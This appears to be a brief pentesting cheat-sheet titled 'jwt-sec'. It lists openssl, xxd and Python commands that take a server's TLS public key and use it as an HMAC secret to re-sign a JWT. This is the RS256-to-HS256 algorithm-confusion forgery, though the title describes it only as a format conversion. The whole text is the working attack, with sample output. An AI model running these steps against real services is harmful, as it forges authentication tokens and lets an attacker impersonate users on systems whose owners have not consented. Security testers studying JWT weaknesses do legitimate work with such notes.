steps to extract public key from a TLS/SSL cert and transform it into a format that can be used by jwt tokens

jwt-sec

# Copy Server certificate to cert.pem
openssl s_client -connect server.com:443

# convert public key to hex values
$ openssl x509 -in cert.pem -pubkey -noout | xxd -p | tr -d "\\n"
<output1>

# Sign the jwt data. Remove the original signature first
$ echo -n "<jwt-without-signature>" |openssl dgst -sha256 -mac HMAC -macopt hexkey:<output1> | cut -d " " -f2
<output2>

# Get the base64 encoded new signature
$ python -c "import base64,binascii;print(base64.urlsafe_b64encode(binascii.unhexlify('<output2>')).decode().replace('=',''))"
iBuJUSnutMkI-cKoSMAWB2KJbObdXR6_LLS93yo1y1w